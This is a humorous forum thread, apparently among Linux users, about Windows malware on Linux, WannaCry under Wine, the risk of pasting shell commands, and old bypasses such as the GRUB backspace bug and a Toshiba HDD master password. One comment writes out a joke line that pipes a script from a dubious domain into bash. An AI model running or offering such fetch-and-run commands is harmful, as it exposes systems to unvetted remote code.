Why does your admin account look like a scrotum?
it’s where the power is stored
Yours doesn’t?
Maybe because scratching an itch there is generally seen as a bad move if you don’t know what you’re doing.
Insert joke about it taking balls to use it
Insert another joke about it being the root of the access tree/graph in the image
This is were WINE comes handy /s
WannaCry: Platinium
https://appdb.winehq.org/objectManager.php?sClass=application&iId=18249
WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.
Hehe
now im really tempted to try it, we have a decryptor now dont we?
inb4 decryptor: borked
What works
Encryption - Yes
GUI - Yes
What does not
SMB & Network replication does not always work, may require SMB network patch.
See: Misc Things to configure (Samba Shares)
Some Font rendering issues.
What was not tested
Decryption
Ransom Payment
Uh oh. And giving it “platinum” even though some stuff doesn’t work and basic features weren’t tested is bullshit. I demand a retraction!
Virus running in wine: “WTF is this place. It’s familiar, but it’s all wrong!”
… and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.
But a forum post said it would fix my issue.
I feel like there’s some truth to this!
If the posted answer was in a moderately active thread, you can generally assume it’s correct if there are no contradictory replies.
If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.
Raises hand I might be some people 🥺
There’s some people in all of us
curl gu5usgugiv.lol | bash || curl get.k3s.io | bashSomeone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.
Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others…)
One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?
Let me open up my Linux bible and see if its malicious
…so, never put things in the terminal?
In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.
What do they hope to do in a temporary qube VM?
Wine automatically running:
A friend of mine once downloaded something malicious to his Linux machine and wasn’t worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, “hey, what’s this?” Oops.
He’s a tech savvy guy, so I’m guessing the fact he had downloaded it himself really let his guard down.
That’s why you don’t store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.
That’s another reason not to dual boot. Ditch Windows.
And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later
Modern viruses check the os before deciding which type of file to send your way.
This is why you use a user agent switcher to lie about being windows. It’s a form of anti malware!
Pick the least POSIX shell, or roll your own! <taps head>
Rename all the coreutils. Confuse yourself and the hackers!
Download libc.so and receive free bitcoin.
Do you have any data to back up that claim? I don’t think that’s true at all, it would be very rare.
Do you have any data to back up that claim?
None whatsoever.
I don’t think that’s true at all, it would be very rare.
Suspicious words. You have one, don’t you? Don’t worry, I won’t tell.
Why suspicious? I have genuinely never read a news story about a virus sending different versions of itself to different OSs. I’m sure it happens, but it doesn’t seem common at all, and you are claiming it very matter-of-factly so I am interested to know more.
If you haven’t come across them yet, then i might be a pioneer! Dibs on the patent!
But your words confuse me. Either it’s not true at all or it happens. You’re sure they exist, though rare. As i said before, suspicious. You might just be one of those rare occurrences after all…
You wish to be the first acknowledged one, no? It’s alright, you can have the honour. I’ll keep mum about it for you.
But your words confuse me. Either it’s not true at all or it happens.
The idea is pretty simple, so it would be surprising if it wasn’t happening at all. But there is a huge difference between “there probably exist some examples that do that” and a sweeping statement about all of them in general.
and a sweeping statement about all of them in general.
Or, hear me out here, the ones that don’t aren’t modern… Get it? Wink, wink. Nudge, nudge.
One could think so, but no cybersecurity experts share such opinion to my knowledge.
Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.
https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html
If the adversary has physical access you are generally pwned either way
That’s hyperbole. Such a system can be “hacked” by simply plugging in a usb-stick and booting from that instead, or dozens of other ways.
The only reason to use GRUB authentication I can think of would be in something like a kiosk.
Does anyone here use GRUB authentication? If so why? What’s your threat model?
Yeah that is not really an “OMG” vulnerability as I can also get into that machine by booting it with a USB drive, or plugging it’s drove into my own machine.
Breh. What? I feel naked right now.
Better replace your keyboard everytime you leave it unattended, someone could put a keylogger in it. Don’t forget to check for hidden pinhole cameras around that capture you inputting your passwords. Etc, etc. Those even work against an encrypted drive…
To be fair I rotate hardware and DE so often my drives are wiped nearly monthly. But Jesus this is egregious.
grub’s always been a hack. The first stage in 512 byte boot sector chainloads the second stage in the space between boot sector and the first sectors of first partition. Second stage chainloads the kernel. (This is my primitive gist.)
grub was never made for security, it just exists in a place where one would think security would be priority… but again, physical access = pwned, etc.
Not quite the same, but funny: I recently unlocked an HDD from a car head unit to prove to a friend that it was only storing music ripped from its CD drive (and the associated minimal CD title database)… Toshiba master HDD password is 32 spaces. 😅
Oh shit hahaha that’s straight up disrespectful. Well yea I guess that makes sense but I just never thought to deep about it.
It does if you right click it and run with wine or whatever it says
in mint cinnamon it still has no power, wine is not in the context menu or program list!
…by default. You could always add it.
my problem was i couldn’t find where it is and search engines couldn’t provide an answer, but just now i learned you can find out where something is installed with
whereis appname
Sometimes when I’ve torrenting from a public wifi I’ll get a malicious .scr file - but since I torrent from an Android phone it can’t do anything to me.
This has given me a horrendous idea involving a Windows batch file and a weird shebang
you’re not the first. there absolutely are multiplatform launcher scripts. i have used one for installers a few years ago.
Shebang needs executable rights afaik.
Well if the exe was in a bottle it would be dangerous.
The virgin bin vs the chad .exe
Wrong location my dear
Same with android. There isn’t even wine there
Android has an extensive application sandboxing mechanism
